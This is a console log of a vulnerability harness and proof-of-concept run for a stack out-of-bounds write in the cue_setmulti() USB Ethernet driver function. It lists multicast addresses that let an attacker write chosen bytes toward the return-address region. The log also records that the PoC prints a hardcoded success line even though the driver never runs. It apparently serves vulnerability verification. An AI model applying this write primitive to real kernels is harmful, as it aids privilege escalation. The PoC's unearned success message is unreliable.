############ BUILD ############
HARNESS_BUILD_RC=0
POC_BUILD_RC=0

############ USERSPACE HARNESS (proves the primitive) ############
=== DF-1081 cue_setmulti() stack OOB proof ===
CUE_BITS=9 -> cue_mchash in [0,511]; hashtbl[h>>3] with hashtbl[8] (if_cue.c:311)
-> any h>=64 indexes past the 8-byte stack array (max idx = 511>>3 = 63, i.e. +55 bytes).

  broadcast (auto on init)     mac=ff:ff:ff:ff:ff:ff  h=255  hashtbl[31] |= 0x80  *** OOB *** (OOB by 23 bytes)
  239.0.0.1 (PoC)              mac=01:00:5e:00:00:01  h=510  hashtbl[63] |= 0x40  *** OOB *** (OOB by 55 bytes)

  Sweeping 239.0.0.0/24 (unprivileged-controlled):
    223/255 addresses produce an OOB write; worst offset = hashtbl[63] = 55 bytes past the 8-byte array.

  Attacker byte-painting demo (pick 8 addrs whose (h>>3) land on idx 24..31, all 8 bits set -> 0xff per byte):
    byte offset 16 (hashtbl[24]): 239.0.0.62  -> h=195 bit 0x08
    byte offset 17 (hashtbl[25]): 239.0.0.7   -> h=203 bit 0x08
    byte offset 18 (hashtbl[26]): 239.0.0.3   -> h=210 bit 0x04
    byte offset 19 (hashtbl[27]): 239.0.0.58  -> h=218 bit 0x04
    byte offset 20 (hashtbl[28]): 239.0.0.11  -> h=224 bit 0x01
    byte offset 21 (hashtbl[29]): 239.0.0.50  -> h=232 bit 0x01
    byte offset 22 (hashtbl[30]): 239.0.0.54  -> h=241 bit 0x02
    byte offset 23 (hashtbl[31]): 239.0.0.15  -> h=249 bit 0x02
    -> attacker can write a full 0xff..0xff run at offsets 16..23 past hashtbl (i.e. into saved frame regs / ret addr region with more group joins).

=== Primitive confirmed: stack OOB write, offset & bit attacker-controlled, up to +55 bytes. ===
HARNESS_RC=0

############ ORIGINAL PoC vs live guest (NO cue0, NO USB HW) ############
--- interfaces present ---
vtnet0 lo0
--- cue0? ---
ifconfig: interface cue0 does not exist
--- usb devices ---
No device match or lack of permissions.
--- run PoC on vtnet0 (ifindex 1): setsockopt succeeds but routes to vtnet, NOT cue_setmulti ---
[+] Joined 239.0.0.1 on ifindex 1
[+] cue_setmulti() wrote OOB at hashtbl[63]
[+] Expect kernel panic or stack corruption
POC_RC=0
(NOTE: the '[+] wrote OOB' line is a hardcoded printf in the PoC source, NOT
 evidence the kernel function ran. cue_setmulti is dead code on this guest:
 no USB host controller, no CATC device, cue module not loaded.)